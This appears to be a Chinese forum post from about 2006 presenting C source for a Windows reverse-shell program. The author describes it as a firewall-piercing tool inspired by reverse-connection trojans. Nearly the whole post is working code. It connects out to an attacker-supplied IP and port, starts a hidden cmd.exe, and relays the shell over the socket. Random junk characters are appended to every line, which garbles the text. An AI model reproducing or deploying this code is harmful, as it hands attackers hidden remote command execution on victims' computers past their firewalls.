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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 AG"l1wz  
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/* ==============================  aA*9,  
Rebound port in Windows NT dFW=9ru+MQ  
By wind,2006/7  |qcD;  
===============================*/ a^nAZ  
#include uq7T{7~<  
#include Os),;W0w4  
V}8$p8#<@  
#pragma comment(lib,"wsock32.lib") Bl.u=I:Y4  
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void OutputShell(); :1fagaPg  
SOCKET sClient; oT+(W,G  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; }F1s tDx  
wJ"ev.A)  
void main(int argc,char **argv) }Ag|gF!_  
{ SQ(apc}N4  
WSADATA stWsaData; 1IH[g*f  
int nRet; </oY4$l'  
SOCKADDR_IN stSaiClient,stSaiServer; _uH9XGm  
B:oF;~d/,  
if(argc != 3) I@7/jUO  
{ Z_z#QX>=D  
printf("Useage:\n\rRebound DestIP DestPort\n"); :Z`4j  
return; GKtS6$1d#  
} x/TGp?\g  
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WSAStartup(MAKEWORD(2,2),&stWsaData); )na&" bJ  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ))#'4  
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stSaiClient.sin_family = AF_INET; W^g'}}]T  
stSaiClient.sin_port = htons(0); kl7A^0Qrz  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); M=!i>(yG  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Q}vbm4)[  
{ 3P=w =~e  
printf("Bind Socket Failed!\n"); z_SagU,\  
return; =G>(~+EA  
} $3 8gs{+  
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stSaiServer.sin_family = AF_INET; ] pPz@@xx  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Agy <j   
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); tB6k|cPC  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) `| 9Ku  
{ $C_M&O}  
printf("Connect Error!"); aiftlY  
return; WYIw5 jzC  
} F|eu<^"$ H  
OutputShell(); B4W\ t{  
} 2"/yEg*=  
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void OutputShell() >9(i)e  
{ UmP'L!  
char szBuff[1024]; 2R@%Y/  
SECURITY_ATTRIBUTES stSecurityAttributes; }=GM ?,7b  
OSVERSIONINFO stOsversionInfo; &TT":FPR  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; "~$$  
STARTUPINFO stStartupInfo; 1kFjas `g  
char *szShell; R_e)mkE  
PROCESS_INFORMATION stProcessInformation; g()m/KS<  
unsigned long lBytesRead; >Q2). E  
R{3CW^1  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); it}-^3A M  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 9N Le&o  
stSecurityAttributes.lpSecurityDescriptor = 0;  4#rAm"H  
stSecurityAttributes.bInheritHandle = TRUE; F$Pp]"82'm  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 1r4,XSk  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); * BOBH;s  
~mH+DV3  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); UC!5 wVY  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @-6?i)  
stStartupInfo.wShowWindow = SW_HIDE; hx!`F  
stStartupInfo.hStdInput = hReadPipe; N lt4)  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; YFx=b!/ s  
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GetVersionEx(&stOsversionInfo); Dd/}Ya(Gi  
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switch(stOsversionInfo.dwPlatformId) rSyaZ6#  
{ 0j@IxEPs  
case 1: lgT?{,>RkW  
szShell = "command.com"; Z{}+)Q*Q  
break; <o@)SD~K  
default: 2V$9ei6  
szShell = "cmd.exe"; F0;1zw  
break; yiT{+;g^  
} `^%GN8d}nm  
"6V_/u5M;=  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); hEOJb @:R  
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send(sClient,szMsg,77,0); ^Kw(& v  
while(1) /=M.-MU2  
{ A?Sm-#n{  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); faVS2TN4  
if(lBytesRead) s^PmnFR  
{ Y'_ D<Mp  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); g{a d0.y,  
send(sClient,szBuff,lBytesRead,0); {Gkn_h-^  
} &7F&}7*c  
else \X opU"  
{ 7SHo%b A  
lBytesRead=recv(sClient,szBuff,1024,0); r}@< K  
if(lBytesRead<=0) break; ~ 7BX@?  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Qa?Q bHc  
} Mcb<[~m  
} \>[gl!B_Rr  
):E'`ZP!F  
return; $K=z  
}
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